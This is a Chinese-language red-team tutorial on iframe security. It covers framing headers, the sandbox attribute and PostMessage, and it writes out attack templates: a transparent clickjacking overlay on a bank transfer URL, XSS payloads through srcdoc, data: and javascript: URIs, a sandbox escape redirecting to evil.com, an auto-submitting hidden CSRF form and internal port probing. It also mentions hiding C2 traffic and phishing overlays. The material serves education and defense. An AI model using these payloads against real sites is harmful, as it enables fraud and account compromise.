目录


一、iframe基础

<iframe> (Inline Frame)用于在当前页面内嵌入另一个HTML文档。

<iframe src="https://example.com/page" width="600" height="400"></iframe>

基本属性:

属性说明
src嵌入页面的URL
srcdoc直接用HTML字符串定义内容(无需URL)
nameiframe的名称,用于<a target>window.open
width/height尺寸
sandbox安全沙箱限制
allow权限策略(Permissions Policy)
loading懒加载 (lazy/eager)

二、iframe安全属性

X-Frame-Options(响应头,传统方式)

效果
DENY禁止任何页面嵌入
SAMEORIGIN仅同源可嵌入
ALLOW-FROM uri仅指定源可嵌入(已废弃)

CSP frame-ancestors(现代方式,推荐)

Content-Security-Policy: frame-ancestors 'self' https://trusted.com
Content-Security-Policy: frame-ancestors 'none'

CSP的frame-ancestors替代了X-Frame-Options,更灵活:

  • 支持多个源
  • 支持通配符*
  • 支持'self', 'none'

三、Clickjacking攻击

攻击原理

攻击者在自己的页面用透明iframe层叠覆盖在目标网站之上,诱骗用户点击。用户以为自己点击了攻击者的页面按钮,实际点击了透明层下的目标网站按钮。

攻击模板

<!-- 攻击者的evil.com页面 -->
<html>
<head>
<style>
  #target-frame {
    position: absolute;
    top: 0;
    left: 0;
    width: 800px;
    height: 600px;
    opacity: 0.001;     /* 几乎完全透明 */
    z-index: 2;
  }
  #decoy {
    position: absolute;
    top: 100px;
    left: 100px;
    z-index: 1;
  }
</style>
</head>
<body>
  <div id="decoy">
    <button>点击赢取iPhone!</button>
  </div>
  <iframe id="target-frame"
    src="https://bank.com/transfer?to=attacker&amount=10000"
    scrolling="no">
  </iframe>
</body>
</html>

高级Clickjacking技巧

1. 拖拽劫持(Drag-and-Drop)
诱导用户拖拽界面元素(如从攻击者页面拖到iframe中),可能触发文件上传或数据泄露。

2. 多次点击劫持
利用 pointer-events: none 在iframe上开”孔”,只在特定区域允许点击穿透。

3. 移动端Clickjacking
利用触摸事件、双击缩放等移动端特有行为。

防御检测

// JS防御(Frame Busting)
if (top !== self) {
    top.location = self.location;  // 跳出iframe
}

// 但是Frame Busting也可能被绕过:
// 1. sandbox="allow-forms" 的iframe中top.location被禁止
// 2. X-Frame-Options/CSP层面防御更可靠

四、Frame注入与内容注入

srcdoc属性注入

<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>

如果服务端将用户输入直接拼入srcdoc属性,可导致XSS。与src不同,srcdoc不需要可访问的URL,且注入的JS在当前源的上下文中执行。

data: URI注入

<iframe src="data:text/html,<script>alert(1)</script>">

data: URI协议可在iframe中渲染任意HTML,同源策略视其为独立的null源。

javascript: URI注入

<iframe src="javascript:alert(document.domain)">

直接在iframe中执行JS。在某些旧浏览器中有效,现代浏览器已限制。

五、sandbox沙箱详解

sandbox 属性对iframe内容施加严格限制。无值的sandbox意味着启用所有限制,是最安全的状态。

sandbox限制与解除

sandbox值允许的行为
(空)所有限制启用(最安全)
allow-forms表单提交
allow-scriptsJavaScript执行
allow-same-origin视为同源(取消跨域隔离)
allow-top-navigationtop.location 修改
allow-popupswindow.open
allow-modalsalert/confirm/prompt
allow-pointer-lock鼠标指针锁定
allow-presentation演示API
allow-downloads文件下载

危险组合

<!-- 危险:allow-scripts + allow-same-origin = 可突破沙箱 -->
<iframe sandbox="allow-scripts allow-same-origin"
  srcdoc="<script>top.location='https://evil.com'</script>">
</iframe>

配合allow-same-origin,sandbox内的JS可以:

  • 访问同源的localStorage/Cookie
  • 发出同源AJAX请求
  • 理论上可以移除sandbox限制

沙箱绕过研究

allow-scripts + allow-same-origin 组合是已知的沙箱绕过向量。
因为同源页面可以通过DOM操作修改自身的sandbox属性。
防御:永远不要同时使用 allow-scripts 和 allow-same-origin

六、PostMessage跨域通信

API用法

// 父页面 → iframe
iframe.contentWindow.postMessage('Hello', 'https://trusted.com');
 
// iframe内 → 父页面
window.parent.postMessage({type:'response'}, 'https://parent.com');
 
// 接收端
window.addEventListener('message', function(event) {
    // 必须验证 origin
    if (event.origin !== 'https://trusted.com') return;
    console.log(event.data);
});

PostMessage安全漏洞

漏洞1:通配符targetOrigin

// 危险 —— 任何源都可接收
window.parent.postMessage(sensitiveData, '*');
 
// 安全 —— 指定接收方
window.parent.postMessage(sensitiveData, 'https://trusted.com');

漏洞2:未验证event.origin

window.addEventListener('message', function(e) {
    // 危险 —— 接受任何来源的消息
    eval(e.data);  // DOM XSS
});

漏洞3:XSS via PostMessage

// 如果消息处理器不安全地处理e.data:
window.addEventListener('message', function(e) {
    document.getElementById('content').innerHTML = e.data;
    // 攻击者从evil.com发送:
    // postMessage('<img src=x onerror=alert(1)>', '*')
});

七、iframe在红队中的应用

1. 信息收集

通过iframe加载内网地址探测存活服务:

<img src="http://192.168.1.1:8080/favicon.ico" 
     onload="log('192.168.1.1:8080 OPEN')" 
     onerror="log('192.168.1.1:8080 CLOSED')">

2. C2隐藏通信

将C2面板嵌入正常网页的iframe中,传输心跳和控制指令。

3. 钓鱼页面嵌套

在钓鱼域名上嵌入真实银行网站的iframe(透明层),让用户以为是正常登录。

4. CSRFP(Cross-Site Request Forgery via iframe)

<iframe name="hiddenFrame" style="display:none"></iframe>
<form action="https://target.com/api/deleteUser" method="POST" 
      target="hiddenFrame">
  <input type="hidden" name="userId" value="1">
</form>
<script>document.forms[0].submit();</script>

八、红队视角总结

攻击向量矩阵

攻击核心机制绕过难度
Clickjacking透明iframe覆盖中(需目标无frame-ancestors)
srcdoc注入iframe属性可控低(条件苛刻)
PostMessage XSS消息处理器不安全中(需审计JS代码)
内网探测iframe加载时序低(现代浏览器限制了)
CSRFP表单target到iframe中(需已知API端点)

检测命令

检查目标是否有Clickjacking防护:

curl -I https://target.com | grep -i "x-frame-options\|frame-ancestors"

检查PostMessage监听:

// 在Chrome DevTools Console中
getEventListeners(window).message

返回 HTML基础总目录 | 前端基础总目录